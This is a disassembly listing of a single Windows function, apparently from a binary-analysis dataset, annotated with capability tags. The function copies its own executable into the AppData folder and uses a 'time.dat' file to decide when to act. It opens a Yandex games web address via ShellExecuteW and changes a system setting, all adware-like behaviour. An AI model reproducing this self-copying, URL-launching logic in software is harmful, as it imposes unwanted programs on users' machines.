Function at 0x1400020c0
Capabilities:
Check if file exists
Copy file
Create process on windows
Get common file path
Get file attributes
Read file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x590], rax
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov r8d, 0x104
lea rdx, [rbp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x104
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x170]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
lea rcx, [rsp + 0x60]
sub rcx, 2
nop word [rax + rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140002140
mov eax, dword [0x1400217a4]
mov dword [rcx], eax
lea rcx, [rsp + 0x60]
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140002160
lea r8, [rbp + 0x380]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140002180
lea rcx, [rsp + 0x60]
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x1400021a0
movsd xmm0, qword [0x1400217a8]
movzx eax, word [0x1400217b0]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x6b0], rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400023f1
test al, 0x10
jne 0x1400023f1
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x6b8], rdi
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xor ebx, ebx
lea rcx, str.time.dat
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov r8d, 1
mov dword [rsp + 0x20], 4
mov word [rsp + 0x48], bx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002284
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
movzx eax, bx
jmp 0x140002314
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], rbx
mov r8d, 2
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
jne 0x1400022ed
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov eax, ebx
jmp 0x140002314
cmp dword [rsp + 0x4c], 2
jae 0x140002304
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001f80
dec ax
jmp 0x140002314
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001f80
movzx eax, word [rsp + 0x48]
mov rdi, qword [rsp + 0x6b8]
cmp word [rsp + 0x56], ax
je 0x1400024b1
xor r9d, r9d
mov dword [rsp + 0x48], ebx
lea r8, [rsp + 0x48]
xor edx, edx
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x14000237e
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov eax, dword [rsp + 0x48]
cmp eax, 0x14
jne 0x14000238e
mov eax, 0xa
jmp 0x140002390
inc eax
mov r8d, eax
xor edx, edx
mov ecx, WSAStartup
mov dword [rsp + 0x48], eax
mov r9d, 3
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x1400024b1
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x1400024b1
xor ebx, ebx
lea r8, str.https:__yandex.ru_games_app_185524
mov dword [rsp + 0x28], ebx
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x140002454
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1400024a7
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea rcx, [rsp + 0x60]
call fcn.140002dd0
mov rbx, qword [rsp + 0x6b0]
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.1400037f0
add rsp, 0x6a0
pop rbp
ret